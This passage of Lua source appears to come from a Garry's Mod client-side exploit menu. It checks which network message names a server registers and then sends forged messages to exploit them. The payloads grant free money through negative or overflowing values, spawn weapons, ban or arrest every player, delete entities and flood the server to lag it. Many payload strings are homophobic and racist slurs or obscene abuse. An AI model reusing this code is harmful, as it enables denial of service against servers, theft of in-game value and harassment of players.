4985 surface.PlaySound("garrysmod/ui_click.wav")
4986 ECNotify("Starting")
4987
4988 for k, v in pairs(player.GetAll()) do
4989 net.Start('bringNfreeze')
4990 net.WriteEntity(self)
4991 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4992 net.SendToServer()
4993 end
4994 end)
4995 end
4996
4997 status = ValidNetString("JoinFirstSS")
4998
4999 if (status) then
5000 ECPrint("Found Exploit: Join First SS [JoinFirstSS]")
5001
5002 addExploit("192", "Join First SS", "", function()
5003 surface.PlaySound("garrysmod/ui_click.wav")
5004 ECNotify("Starting")
5005 net.Start("JoinFirstSS")
5006 net.WriteEntity(LocalPlayer())
5007 net.SendToServer()
5008 end)
5009 end
5010
5011 status = ValidNetString("unarrestPerson")
5012
5013 if (status) then
5014 ECPrint("Found Exploit: Unarrest Person [unarrestPerson]")
5015
5016 addExploit("193", "Unarrest Person", "", function()
5017 surface.PlaySound("garrysmod/ui_click.wav")
5018 ECNotify("Starting")
5019
5020 for k, v in pairs(player.GetAll()) do
5021 net.Start("unarrestPerson")
5022 net.WriteEntity(v)
5023 net.SendToServer()
5024 end
5025 end)
5026 end
5027
5028 status = ValidNetString("giveArrestReason")
5029
5030 if (status) then
5031 ECPrint("Found Exploit: Give Arrest Reason [giveArrestReason]")
5032
5033 addExploit("194", "Give Arrest Reason", "", function()
5034 surface.PlaySound("garrysmod/ui_click.wav")
5035 ECNotify("Starting")
5036
5037 for k, v in pairs(player.GetAll()) do
5038 net.Start("giveArrestReason")
5039 net.WriteEntity(LocalPlayer())
5040 net.WriteEntity(v)
5041 net.WriteString("Faggot")
5042 net.SendToServer()
5043 end
5044 end)
5045 end
5046
5047 status = ValidNetString("sellitem")
5048
5049 if (status) then
5050 ECPrint("Found Exploit: Free Money #24 [sellitem]")
5051
5052 addExploit("195", "Free Money #24", "", function()
5053 surface.PlaySound("garrysmod/ui_click.wav")
5054 ECNotify("Starting")
5055 net.Start("sellitem")
5056 net.WriteString(self)
5057 net.WriteEntity(LocalPlayer())
5058 net.SendToServer()
5059 end)
5060 end
5061
5062 status = ValidNetString("createFaction")
5063
5064 if (status) then
5065 ECPrint("Found Exploit: Create Faction [createFaction]")
5066
5067 addExploit("196", "Create Faction", "", function()
5068 surface.PlaySound("garrysmod/ui_click.wav")
5069 ECNotify("Starting")
5070
5071 for k, v in pairs(player.GetAll()) do
5072 net.Start("createFaction")
5073 net.WriteEntity(v)
5074 net.WriteString("I FUCKED SO MANY BABIES TODAY WOOOOOOOOOOOOOOOOOOOOOOOO")
5075 net.SendToServer()
5076 end
5077 end)
5078 end
5079
5080 status = ValidNetString("inviteToOrganization")
5081
5082 if (status) then
5083 ECPrint("Found Exploit: Faction Invite All [inviteToOrganization]")
5084
5085 addExploit("197", "Faction Invite All", "", function()
5086 surface.PlaySound("garrysmod/ui_click.wav")
5087 ECNotify("Starting")
5088
5089 for k, v in pairs(player.GetAll()) do
5090 net.Start("inviteToOrganization")
5091 net.WriteEntity(v)
5092 net.WriteEntity(LocalPlayer())
5093 net.SendToServer()
5094 end
5095 end)
5096 end
5097
5098 status = ValidNetString("GovStation_SpawnVehicle")
5099
5100 if (status) then
5101 ECPrint("Found Exploit: Gov Spawn [GovStation_SpawnVehicle]")
5102
5103 addExploit("198", "Gov Spawn", "", function()
5104 surface.PlaySound("garrysmod/ui_click.wav")
5105 ECNotify("Starting")
5106
5107 for k, v in pairs(ents.GetAll()) do
5108 net.Start("GovStation_SpawnVehicle")
5109 net.WriteString("GOV_POLICE")
5110 net.SendToServer()
5111 end
5112 end)
5113 end
5114
5115 status = ValidNetString("GiveWeapon")
5116
5117 if (status) then
5118 ECPrint("Found Exploit: Give Weapons #3 [GiveWeapon]")
5119
5120 addExploit("199", "Give Weapons #3", "get weapons", function()
5121 surface.PlaySound("garrysmod/ui_click.wav")
5122 ECNotify("Starting")
5123 net.Start("GiveWeapon")
5124 net.WriteEntity(LocalPlayer())
5125 net.WriteString("m9k_davy_crockett")
5126 net.WriteFloat(0)
5127 net.SendToServer()
5128 end)
5129 end
5130
5131 status = ValidNetString("DailyLoginClaim")
5132
5133 if (status) then
5134 ECPrint("Found Exploit: Daily Login Reward [DailyLoginClaim]")
5135
5136 addExploit("200", "Daily Login Reward", "", function()
5137 surface.PlaySound("garrysmod/ui_click.wav")
5138 ECNotify("Starting")
5139 net.Start("DailyLoginClaim")
5140 net.SendToServer()
5141 end)
5142 end
5143
5144 status = ValidNetString("DL_AskLogsList")
5145
5146 if (status) then
5147 ECPrint("Found Exploit: Ask Log List [DL_AskLogsList]")
5148
5149 addExploit("201", "Ask Log List", "", function()
5150 surface.PlaySound("garrysmod/ui_click.wav")
5151 ECNotify("Starting")
5152 net.Start("DL_AskLogsList")
5153 net.SendToServer()
5154 end)
5155 end
5156
5157 status = ValidNetString("DL_StartReport")
5158
5159 if (status) then
5160 ECPrint("Found Exploit: DL Report All [DL_StartReport | DL_ReportPlayer]")
5161
5162 addExploit("202", "DL Report All", "", function()
5163 surface.PlaySound("garrysmod/ui_click.wav")
5164 ECNotify("Starting")
5165
5166 for k, v in pairs(player.GetAll()) do
5167 net.Start("DL_StartReport")
5168 net.SendToServer()
5169 net.Start("DL_ReportPlayer")
5170 net.WriteEntity(v)
5171 net.WriteString("Hes being a gay faggot plz ban him")
5172 net.SendToServer()
5173 end
5174 end)
5175 end
5176
5177 status = ValidNetString("sv_saveweapons")
5178
5179 if (status) then
5180 ECPrint("Found Exploit: TTT Weapons Exploit [sv_saveweapons]")
5181
5182 addExploit("203", "DL Report All", "", function()
5183 surface.PlaySound("garrysmod/ui_click.wav")
5184 ECNotify("Starting")
5185 net.Start("sv_saveweapons")
5186 net.WriteString("weapon_ttt_rpg")
5187 net.WriteString("weapon_ttt_rpg")
5188 net.WriteString("eg")
5189 net.SendToServer()
5190 end)
5191 end
5192
5193 status = ValidNetString("SpecDM_SendLoadout")
5194
5195 if (status) then
5196 ECPrint("Found Exploit: SpecDM Exploit [SpecDM_SendLoadout]")
5197
5198 addExploit("204", "SpecDM Exploit", "", function()
5199 surface.PlaySound("garrysmod/ui_click.wav")
5200 ECNotify("Starting")
5201 net.Start("SpecDM_SendLoadout")
5202 net.WriteString("eg")
5203 net.WriteString("weapon_ttt_defib")
5204 net.SendToServer()
5205 end)
5206 end
5207
5208 status = ValidNetString("PowerRoundsForcePR")
5209
5210 if (status) then
5211 ECPrint("Found Exploit: Power Rounds Force [PowerRoundsForcePR]")
5212
5213 addExploit("205", "Power Rounds Force", "", function()
5214 surface.PlaySound("garrysmod/ui_click.wav")
5215 ECNotify("Starting")
5216 net.Start("PowerRoundsForcePR")
5217 net.SendToServer()
5218 end)
5219 end
5220
5221 status = ValidNetString("wyozimc_playply")
5222
5223 if (status) then
5224 ECPrint("Found Exploit: Wyozimc Music Exploit [wyozimc_playply]")
5225
5226 addExploit("206", "Wyozimc Music Exploit", "", function()
5227 surface.PlaySound("garrysmod/ui_click.wav")
5228 ECNotify("Starting")
5229
5230 for k, v in pairs(player.GetAll()) do
5231 net.Start("wyozimc_playply")
5232 net.WriteEntity(v)
5233 net.WriteString("https://www.youtube.com/watch?v=2fSeiKs6MYY")
5234 net.SendToServer()
5235 end
5236 end)
5237 end
5238
5239 status = ValidNetString("SendSteamID")
5240
5241 if (status) then
5242 ECPrint("Found Exploit: Send Mail's [SendSteamID]")
5243
5244 addExploit("207", "Send Mail's", "", function()
5245 surface.PlaySound("garrysmod/ui_click.wav")
5246 ECNotify("Starting")
5247
5248 for k, v in pairs(player.GetAll()) do
5249 net.Start("SendSteamID")
5250 net.WriteEntity(v)
5251 net.WriteString("Faggot")
5252 net.WriteString("Faggot")
5253 net.SendToServer()
5254 end
5255 end)
5256 end
5257
5258 status = ValidNetString("JB_GiveCubics")
5259
5260 if (status) then
5261 ECPrint("Found Exploit: Give Cubics All [JB_GiveCubics]")
5262
5263 addExploit("208", "Give Cubics All", "", function()
5264 surface.PlaySound("garrysmod/ui_click.wav")
5265 ECNotify("Starting")
5266
5267 for k, v in pairs(player.GetAll()) do
5268 net.Start("JB_GiveCubics")
5269 net.WriteEntity(v)
5270 net.WriteInt(math.floor(dwang:GetValue()), 255)
5271 net.SendToServer()
5272 end
5273 end)
5274 end
5275
5276 status = ValidNetString("JB_SelectWarden")
5277
5278 if (status) then
5279 ECPrint("Found Exploit: Select Warden All [JB_SelectWarden]")
5280
5281 addExploit("209", "Select Warden All", "", function()
5282 surface.PlaySound("garrysmod/ui_click.wav")
5283 ECNotify("Starting")
5284
5285 for k, v in pairs(player.GetAll()) do
5286 net.Start("JB_SelectWarden")
5287 net.WriteEntity(v)
5288 net.SendToServer()
5289 end
5290 end)
5291 end
5292
5293 status = ValidNetString("RDMReason_Explain")
5294
5295 if (status) then
5296 ECPrint("Found Exploit: RDM Explain [RDMReason_Explain]")
5297
5298 addExploit("210", "RDM Explain", "", function()
5299 surface.PlaySound("garrysmod/ui_click.wav")
5300 ECNotify("Starting")
5301
5302 for k, v in pairs(player.GetAll()) do
5303 net.Start("RDMReason_Explain")
5304
5305 net.WriteTable({
5306 id = v,
5307 reason = fgt
5308 })
5309
5310 net.SendToServer()
5311 end
5312 end)
5313 end
5314
5315 status = ValidNetString("redirectMsg")
5316
5317 if (status) then
5318 ECPrint("Found Exploit: Redirect Message [redirectMsg]")
5319
5320 addExploit("211", "Redirect Message", "", function()
5321 surface.PlaySound("garrysmod/ui_click.wav")
5322 ECNotify("Starting")
5323 net.Start("redirectMsg")
5324 net.WriteString("Fuck you! YOUR ALL FAGGOTS!")
5325 net.SendToServer()
5326 end)
5327 end
5328
5329 status = ValidNetString("LB_AddBan")
5330
5331 if (status) then
5332 ECPrint("Found Exploit: LB Ban [LB_AddBan]")
5333
5334 addExploit("212", "LB Ban", "", function()
5335 surface.PlaySound("garrysmod/ui_click.wav")
5336 ECNotify("Starting")
5337
5338 for k, v in pairs(player.GetAll()) do
5339 if v ~= LocalPlayer() then
5340 net.Start("LB_AddBan")
5341 net.WriteString("STEAM_0:0:71238382")
5342 net.WriteString("fgt")
5343 net.SendToServer()
5344 end
5345 end
5346 end)
5347 end
5348
5349 status = ValidNetString("GET_Admin_MSGS")
5350
5351 if (status) then
5352 ECPrint("Found Exploit: Brass Admin Chat [GET_Admin_MSGS | OPEN_ADMIN_CHAT]")
5353
5354 addExploit("213", "Brass Admin Chat", "", function()
5355 surface.PlaySound("garrysmod/ui_click.wav")
5356 ECNotify("Starting")
5357 net.Start("GET_Admin_MSGS")
5358 net.SendToServer()
5359 net.Start("OPEN_ADMIN_CHAT")
5360 net.SendToServer()
5361 end)
5362 end
5363
5364 status = ValidNetString("br_send_pm")
5365
5366 if (status) then
5367 ECPrint("Found Exploit: Brass Email Send All [br_send_pm]")
5368
5369 addExploit("214", "Brass Email Send All", "", function()
5370 surface.PlaySound("garrysmod/ui_click.wav")
5371 ECNotify("Starting")
5372
5373 for k, v in pairs(player.GetAll()) do
5374 if v ~= LocalPlayer() then
5375 net.Start("br_send_pm")
5376 net.WriteString(v)
5377 net.WriteString("FGT")
5378 net.WriteEntity(v)
5379 net.SendToServer()
5380 end
5381 end
5382 end)
5383 end
5384
5385 status = ValidNetString("LAWYER.BailFelonOut")
5386
5387 if (status) then
5388 ECPrint("Found Exploit: Bail Felon Out [LAWYER.BailFelonOut]")
5389
5390 addExploit("215", "Bail Felon Out", "", function()
5391 surface.PlaySound("garrysmod/ui_click.wav")
5392 ECNotify("Starting")
5393 net.Start("LAWYER.BailFelonOut")
5394 net.WriteString("1")
5395 net.WriteString("fgt")
5396 net.SendToServer()
5397 end)
5398 end
5399
5400 status = ValidNetString("LAWYER.GetBailOut")
5401
5402 if (status) then
5403 ECPrint("Found Exploit: Get Bail Out [LAWYER.GetBailOut]")
5404
5405 addExploit("216", "Get Bail Out", "", function()
5406 surface.PlaySound("garrysmod/ui_click.wav")
5407 ECNotify("Starting")
5408 net.Start("LAWYER.GetBailOut")
5409 net.WriteString("Mick")
5410 net.WriteString("Mick")
5411 net.WriteString("1000000")
5412 net.SendToServer()
5413 end)
5414 end
5415
5416 status = ValidNetString("GrabMoney")
5417
5418 if (status) then
5419 ECPrint("Found Exploit: Get Bail Out [GrabMoney]")
5420
5421 addExploit("217", "Get Bail Out", "", function()
5422 surface.PlaySound("garrysmod/ui_click.wav")
5423 ECNotify("Starting")
5424
5425 for k, v in pairs(ents.GetAll()) do
5426 if v:GetClass() == "gold" then
5427 if v:GetClass() == "silver" then
5428 if v:GetClass() == "vip" then
5429 if v:GetClass() == "vipgold" then
5430 net.Start("GrabMoney")
5431 net.WriteEntity(LocalPlayer())
5432 net.SendToServer()
5433 end
5434 end
5435 end
5436 end
5437 end
5438 end)
5439 end
5440
5441 status = ValidNetString("nox_addpremadepunishment")
5442
5443 if (status) then
5444 ECPrint("Found Exploit: Nox Ban [nox_addpremadepunishment]")
5445
5446 addExploit("218", "Nox Ban", "", function()
5447 surface.PlaySound("garrysmod/ui_click.wav")
5448 ECNotify("Starting")
5449
5450 for k, v in pairs(player.GetAll()) do
5451 if v ~= LocalPlayer() then
5452 net.Start("nox_addpremadepunishment")
5453 net.WriteEntity("Sun")
5454 net.WriteUInt(2, 8)
5455 net.SendToServer()
5456 end
5457 end
5458 end)
5459 end
5460
5461 status = ValidNetString("NET_CR_TakeStoredMoney")
5462
5463 if (status) then
5464 ECPrint("Found Exploit: Steal Registry Money [NET_CR_TakeStoredMoney]")
5465
5466 addExploit("219", "Steal Registry Money", "", function()
5467 surface.PlaySound("garrysmod/ui_click.wav")
5468 ECNotify("Starting")
5469
5470 for k, v in pairs(ents.GetAll()) do
5471 if v:GetClass() == "ss_cash_registry" then
5472 net.Start('NET_CR_TakeStoredMoney')
5473 net.WriteEntity("ss_cash_registry")
5474 net.WriteEntity(LocalPlayer())
5475 net.SendToServer()
5476 end
5477 end
5478 end)
5479 end
5480
5481 status = ValidNetString("HV_AmmoBuy")
5482
5483 if (status) then
5484 ECPrint("Found Exploit: HV Free Ammo [HV_AmmoBuy]")
5485
5486 addExploit("220", "HV Free Ammo", "", function()
5487 surface.PlaySound("garrysmod/ui_click.wav")
5488 ECNotify("Starting")
5489 net.Start("HV_AmmoBuy")
5490 net.WriteFloat("2")
5491 net.SendToServer()
5492 net.Start("HV_AmmoBuy")
5493 net.WriteFloat("1")
5494 net.SendToServer()
5495 end)
5496 end
5497
5498 status = ValidNetString("hitcomplete")
5499
5500 if (status) then
5501 ECPrint("Found Exploit: Super RP Hit [hitcomplete]")
5502
5503 addExploit("221", "Super RP Hit", "", function()
5504 surface.PlaySound("garrysmod/ui_click.wav")
5505 ECNotify("Starting")
5506
5507 for k, v in pairs(player.GetAll()) do
5508 if v ~= LocalPlayer() then
5509 net.Start("hitcomplete")
5510 net.WriteEntity(v)
5511 net.SendToServer()
5512 end
5513 end
5514 end)
5515 end
5516
5517 status = ValidNetString("SyncRemoveAction")
5518
5519 if (status) then
5520 ECPrint("Found Exploit: Remove All [SyncRemoveAction]")
5521
5522 addExploit("222", "Remove All", "", function()
5523 surface.PlaySound("garrysmod/ui_click.wav")
5524 ECNotify("Starting")
5525
5526 for k, v in pairs(ents.GetAll()) do
5527 net.Start("SyncRemoveAction")
5528 net.WriteEntity(v)
5529 net.SendToServer()
5530 end
5531 end)
5532 end
5533
5534 status = ValidNetString("TMC_NET_MakePlayerWanted")
5535
5536 if (status) then
5537 ECPrint("Found Exploit: Make All Wanted [TMC_NET_MakePlayerWanted]")
5538
5539 addExploit("223", "Make All Wanted", "", function()
5540 surface.PlaySound("garrysmod/ui_click.wav")
5541 ECNotify("Starting")
5542
5543 for k, v in pairs(player.GetAll()) do
5544 net.Start("TMC_NET_MakePlayerWanted")
5545 net.WriteString("bad")
5546 net.WriteString("bad")
5547 net.SendToServer()
5548 end
5549 end)
5550 end
5551
5552 status = ValidNetString("thiefnpc")
5553
5554 if (status) then
5555 ECPrint("Found Exploit: Thief NPC [thiefnpc]")
5556
5557 addExploit("224", "Thief NPC", "", function()
5558 surface.PlaySound("garrysmod/ui_click.wav")
5559 ECNotify("Starting")
5560 net.Start('thiefnpc')
5561 net.WriteDouble(-99999999999999999)
5562 net.SendToServer()
5563 end)
5564 end
5565
5566 status = ValidNetString("TMC_NET_FirePlayer")
5567
5568 if (status) then
5569 ECPrint("Found Exploit: Fire Player [TMC_NET_FirePlayer]")
5570
5571 addExploit("225", "Fire Player", "", function()
5572 surface.PlaySound("garrysmod/ui_click.wav")
5573 ECNotify("Starting")
5574 net.Start("TMC_NET_FirePlayer")
5575 net.WriteString("Paypal")
5576 net.SendToServer()
5577 end)
5578 end
5579
5580 status = ValidNetString("updateLaws")
5581
5582 if (status) then
5583 ECPrint("Found Exploit: Update Laws [updateLaws]")
5584
5585 addExploit("226", "Update Laws", "", function()
5586 surface.PlaySound("garrysmod/ui_click.wav")
5587 ECNotify("Starting")
5588 net.Start("updateLaws")
5589 net.WriteString("Bitch")
5590 net.SendToServer()
5591 end)
5592 end
5593
5594 status = ValidNetString("LotteryMenu")
5595
5596 if (status) then
5597 ECPrint("Found Exploit: Free Money #25 [LotteryMenu]")
5598
5599 addExploit("227", "Free Money #25", "", function()
5600 surface.PlaySound("garrysmod/ui_click.wav")
5601 ECNotify("Starting")
5602 net.Start("LotteryMenu")
5603 net.WriteEntity(LocalPlayer())
5604 net.WriteInt(1000000000000000000, 16)
5605 net.SendToServer()
5606 end)
5607 end
5608
5609 status = ValidNetString("soundArrestCommit")
5610
5611 if (status) then
5612 ECPrint("Found Exploit: Sound Arrest [soundArrestCommit]")
5613
5614 addExploit("228", "Sound Arrest", "", function()
5615 surface.PlaySound("garrysmod/ui_click.wav")
5616 ECNotify("Starting")
5617 net.Start("soundArrestCommit")
5618 net.WriteString("Shit")
5619 net.SendToServer()
5620 end)
5621 end
5622
5623 status = ValidNetString("hoverboardpurchase")
5624
5625 if (status) then
5626 ECPrint("Found Exploit: Hover Board [hoverboardpurchase]")
5627
5628 addExploit("229", "Hover Board", "", function()
5629 surface.PlaySound("garrysmod/ui_click.wav")
5630 ECNotify("Starting")
5631 net.Start("hoverboardpurchase")
5632 net.WriteInt(8, 32)
5633 net.SendToServer()
5634 end)
5635 end
5636
5637 status = ValidNetString("SpawnProtection")
5638
5639 if (status) then
5640 ECPrint("Found Exploit: Off Spawn Protection [SpawnProtection]")
5641
5642 addExploit("230", "Off Spawn Protection", "", function()
5643 surface.PlaySound("garrysmod/ui_click.wav")
5644 ECNotify("Starting")
5645 net.Start("SpawnProtection")
5646 net.WriteFloat(0)
5647 net.SendToServer()
5648 end)
5649 end
5650
5651 status = ValidNetString("NPCShop_BuyItem")
5652
5653 if (status) then
5654 ECPrint("Found Exploit: NPC Shop [NPCShop_BuyItem]")
5655
5656 addExploit("231", "NPC Shop", "", function()
5657 surface.PlaySound("garrysmod/ui_click.wav")
5658 ECNotify("Starting")
5659 net.Start("NPCShop_BuyItem")
5660 net.WriteString("weapon_hack_phone")
5661 net.SendToServer()
5662 end)
5663 end
5664
5665 status = ValidNetString("CubeRiot CaptureZone Update")
5666
5667 if (status) then
5668 ECPrint("Found Exploit: CubeRiot Exploit [CubeRiot CaptureZone Update]")
5669
5670 addExploit("232", "CubeRiot Exploit", "", function()
5671 surface.PlaySound("garrysmod/ui_click.wav")
5672 ECNotify("Starting")
5673 net.Start("CubeRiot CaptureZone Update")
5674 net.WriteUInt(1, 8)
5675 net.WriteVector("2654.989258 2254.119629 -139.968750")
5676 net.WriteVector("2654.989258 2254.119629 -139.968750")
5677 net.SendToServer()
5678 end)
5679 end
5680
5681 status = ValidNetString("deposit")
5682
5683 if (status) then
5684 ECPrint("Found Exploit: Free Money #26 [deposit]")
5685
5686 addExploit("233", "Free Money #26", "", function()
5687 surface.PlaySound("garrysmod/ui_click.wav")
5688 ECNotify("Starting")
5689 net.Start("deposit")
5690 net.WriteString("-10000000000000000000000")
5691 net.SendToServer()
5692 end)
5693 end
5694
5695 status = ValidNetString("AcceptRequest")
5696
5697 if (status) then
5698 ECPrint("Found Exploit: Call Exploit [AcceptRequest]")
5699
5700 addExploit("234", "Call Exploit", "", function()
5701 surface.PlaySound("garrysmod/ui_click.wav")
5702 ECNotify("Starting")
5703
5704 for k, v in pairs(player.GetAll()) do
5705 net.Start("AcceptRequest")
5706 net.WriteEntity(v)
5707 net.SendToServer()
5708 end
5709 end)
5710 end
5711
5712 status = ValidNetString("Chess ClientWager")
5713
5714 if (status) then
5715 ECPrint("Found Exploit: Chess Exploit [Chess ClientWager | Chess ClientResign]")
5716
5717 addExploit("235", "Chess Exploit", "", function()
5718 surface.PlaySound("garrysmod/ui_click.wav")
5719 ECNotify("Starting")
5720 net.Start("Chess ClientWager")
5721 net.WriteUInt(-999999999999999999999999999, 24)
5722 net.SendToServer()
5723 net.Start("Chess ClientResign")
5724 net.SendToServer()
5725 end)
5726 end
5727
5728 status = ValidNetString("netOrgVoteInvite_Server")
5729
5730 if (status) then
5731 ECPrint("Found Exploit: Org Invite All [netOrgVoteInvite_Server]")
5732
5733 addExploit("236", "Org Invite All", "", function()
5734 surface.PlaySound("garrysmod/ui_click.wav")
5735 ECNotify("Starting")
5736
5737 for k, v in pairs(player.GetAll()) do
5738 net.Start("netOrgVoteInvite_Server")
5739 net.WriteEntity(v)
5740 net.SendToServer()
5741 end
5742 end)
5743 end
5744
5745 status = ValidNetString("donatorshop_itemtobuy")
5746
5747 if (status) then
5748 ECPrint("Found Exploit: Donator Box Exploit [donatorshop_itemtobuy]")
5749
5750 addExploit("237", "Donator Box Exploit", "", function()
5751 surface.PlaySound("garrysmod/ui_click.wav")
5752 ECNotify("Starting")
5753 net.Start("donatorshop_itemtobuy")
5754 net.WriteString("DonatorShopBuyTripwire")
5755 net.SendToServer()
5756 end)
5757 end
5758
5759 status = ValidNetString("AskPickupItemInv")
5760
5761 if (status) then
5762 ECPrint("Found Exploit: Ask Item [AskPickupItemInv]")
5763
5764 addExploit("238", "Ask Item", "", function()
5765 surface.PlaySound("garrysmod/ui_click.wav")
5766 ECNotify("Starting")
5767
5768 for k, v in pairs(player.GetAll()) do
5769 net.Start("AskPickupItemInv")
5770 net.WriteUInt(4, 16)
5771 net.WriteUInt(1, 16)
5772 net.SendToServer()
5773 end
5774 end)
5775 end
5776
5777 status = ValidNetString("buy_bundle")
5778
5779 if (status) then
5780 ECPrint("Found Exploit: Buy Bundle [buy_bundle]")
5781
5782 addExploit("239", "Buy Bundle", "", function()
5783 surface.PlaySound("garrysmod/ui_click.wav")
5784 ECNotify("Starting")
5785 net.Start("buy_bundle")
5786 net.WriteFloat(1, 16)
5787 net.SendToServer()
5788 end)
5789 end
5790
5791 status = ValidNetString("LawyerOfferBail")
5792
5793 if (status) then
5794 ECPrint("Found Exploit: Lawyer Off Bail [LawyerOfferBail | AcceptBailOffer]")
5795
5796 addExploit("240", "Lawyer Off Bail", "", function()
5797 surface.PlaySound("garrysmod/ui_click.wav")
5798 ECNotify("Starting")
5799
5800 for k, v in pairs(player.GetAll()) do
5801 net.Start("LawyerOfferBail")
5802 net.WriteEntity(v)
5803 net.WriteUInt(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
5804 net.SendToServer()
5805 net.Start("AcceptBailOffer")
5806 net.WriteEntity(v)
5807 net.WriteUInt(-10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
5808 net.SendToServer()
5809 end
5810 end)
5811 end
5812
5813 status = ValidNetString("MineServer")
5814
5815 if (status) then
5816 ECPrint("Found Exploit: Lagger #22 [MineServer]")
5817
5818 addExploit("241", "Lagger #22", "lags", function()
5819 surface.PlaySound("garrysmod/ui_click.wav")
5820 ECNotify("Starting")
5821
5822 for i = 0, 100 do
5823 for k, v in pairs(player.GetAll()) do
5824 net.Start("MineServer", true)
5825 net.WriteString("sell")
5826 net.WriteEntity(v)
5827 net.WriteString("Fuck you. Gonna ddos this shitty ass server niggers")
5828 net.SendToServer()
5829 end
5830 end
5831 end)
5832 end
5833
5834 status = ValidNetString("Gb_gasstation_BuyGas")
5835
5836 if (status) then
5837 ECPrint("Found Exploit: Ukrainian gas [Gb_gasstation_BuyGas | Gb_gasstation_BuyJerrycan]")
5838
5839 addExploit("242", "Ukrainian gas", "", function()
5840 surface.PlaySound("garrysmod/ui_click.wav")
5841 ECNotify("Starting")
5842 net.Start("Gb_gasstation_BuyGas")
5843 net.SendToServer()
5844 net.Start("Gb_gasstation_BuyJerrycan")
5845 net.SendToServer()
5846 end)
5847 end
5848
5849 status = ValidNetString("D3A_CreateOrg")
5850
5851 if (status) then
5852 ECPrint("Found Exploit: D3A Create Org [D3A_CreateOrg]")
5853
5854 addExploit("243", "D3A Create Org", "", function()
5855 surface.PlaySound("garrysmod/ui_click.wav")
5856 ECNotify("Starting")
5857 net.Start("D3A_CreateOrg")
5858 net.WriteString('969690485273489312467812367128312312314')
5859 net.WriteString('123712983712984571298712398')
5860 net.WriteString("255 255 255")
5861 net.SendToServer()
5862 end)
5863 end
5864
5865 status = ValidNetString("Shop_buy")
5866
5867 if (status) then
5868 ECPrint("Found Exploit: SUP Buy Armor [Shop_buy]")
5869
5870 addExploit("244", "SUP Buy Armor", "", function()
5871 surface.PlaySound("garrysmod/ui_click.wav")
5872 ECNotify("Starting")
5873 net.Start("Shop_buy")
5874 net.WriteString("Armor")
5875 net.SendToServer()
5876 end)
5877 end
5878
5879 status = ValidNetString("LawsToServer")
5880
5881 if (status) then
5882 ECPrint("Found Exploit: SUP New Laws [LawsToServer]")
5883
5884 addExploit("245", "SUP New Laws", "", function()
5885 surface.PlaySound("garrysmod/ui_click.wav")
5886 ECNotify("Starting")
5887 net.Start("LawsToServer")
5888 net.WriteString("FAGGOTS")
5889 net.SendToServer()
5890 end)
5891 end
5892
5893 status = ValidNetString("D3A_Message")
5894
5895 if (status) then
5896 ECPrint("Found Exploit: D3A Message [D3A_Message]")
5897
5898 addExploit("246", "D3A Message", "", function()
5899 surface.PlaySound("garrysmod/ui_click.wav")
5900 ECNotify("Starting")
5901 local stuff = {}
5902 net.Start("D3A_Message")
5903 net.WriteString("FAGGOTS")
5904 net.WriteTable(stuff)
5905 net.SendToServer()
5906 end)
5907 end
5908
5909 status = ValidNetString("misswd_accept")
5910
5911 if (status) then
5912 ECPrint("Found Exploit: Misswd Accept [misswd_accept]")
5913
5914 addExploit("247", "Misswd Accept", "", function()
5915 surface.PlaySound("garrysmod/ui_click.wav")
5916 ECNotify("Starting")
5917
5918 for k, v in pairs(player.GetAll()) do
5919 for i = 0, 100 do
5920 net.Start("misswd_accept")
5921 net.WriteEntity(v)
5922 net.SendToServer()
5923 end
5924 end
5925 end)
5926 end
5927
5928 status = ValidNetString("ScannerMenu")
5929
5930 if (status) then
5931 ECPrint("Found Exploit: Scanner Exploit [ScannerMenu]")
5932
5933 addExploit("248", "Scanner Exploit", "", function()
5934 surface.PlaySound("garrysmod/ui_click.wav")
5935 ECNotify("Starting")
5936
5937 for k, v in pairs(player.GetAll()) do
5938 net.Start("ScannerMenu")
5939 net.WriteEntity(v)
5940 net.WriteFloat(1)
5941 net.WriteFloat(1)
5942 net.SendToServer()
5943 end
5944 end)
5945 end
5946
5947 status = ValidNetString("ORG_NewOrg")
5948
5949 if (status) then
5950 ECPrint("Found Exploit: New ORG [ORG_NewOrg]")
5951
5952 addExploit("249", "New ORG", "", function()
5953 surface.PlaySound("garrysmod/ui_click.wav")
5954 ECNotify("Starting")
5955 net.Start("ORG_NewOrg")
5956 net.WriteString("I FUCKING HATE YOU!")
5957 net.SendToServer()
5958 end)
5959 end
5960
5961 status = ValidNetString("ORG_VaultDonate")
5962
5963 if (status) then
5964 ECPrint("Found Exploit: Free Money #27 [ORG_VaultDonate]")
5965
5966 addExploit("250", "Free Money #27", "", function()
5967 surface.PlaySound("garrysmod/ui_click.wav")
5968 ECNotify("Starting")
5969 net.Start("ORG_VaultDonate")
5970 net.WriteFloat(-1000000000000000000000000000000000000000000000000000000)
5971 net.SendToServer()
5972 end)
5973 end
5974
5975 status = ValidNetString("Selldatride")
5976
5977 if (status) then
5978 ECPrint("Found Exploit: Sell Datride [Selldatride]")
5979
5980 addExploit("251", "Sell Datride", "", function()
5981 surface.PlaySound("garrysmod/ui_click.wav")
5982 ECNotify("Starting")
5983
5984 for k, v in pairs(player.GetAll()) do
5985 net.Start("Selldatride")
5986 net.WriteEntity(v)
5987 net.SendToServer()
5988 end
5989 end)
5990 end
5991
5992 status = ValidNetString("passmayorexam")
5993
5994 if (status) then
5995 ECPrint("Found Exploit: Passexam Exploit [passmayorexam]")
5996
5997 addExploit("252", "Passexam Exploit", "", function()
5998 surface.PlaySound("garrysmod/ui_click.wav")
5999 ECNotify("Starting")
6000 net.Start("passmayorexam")
6001 net.SendToServer()
6002 end)
6003 end
6004
6005 status = ValidNetString("levelup_useperk")
6006
6007 if (status) then
6008 ECPrint("Found Exploit: LevelUp Exploit [levelup_useperk]")
6009
6010 addExploit("253", "LevelUp Exploit", "", function()
6011 surface.PlaySound("garrysmod/ui_click.wav")
6012 ECNotify("Starting")
6013 net.Start("levelup_useperk")
6014 net.WriteInt(1, 8)
6015 net.WriteInt(2, 8)
6016 net.WriteInt(3, 8)
6017 net.WriteInt(4, 8)
6018 net.SendToServer()
6019 end)
6020 end
6021
6022 status = ValidNetString("ZED_SpawnCar")
6023
6024 if (status) then
6025 ECPrint("Found Exploit: ZED Spawn Car [ZED_SpawnCar]")
6026
6027 addExploit("254", "ZED Spawn Car", "", function()
6028 surface.PlaySound("garrysmod/ui_click.wav")
6029 ECNotify("Starting")
6030 net.Start("ZED_SpawnCar")
6031 net.WriteFloat(1)
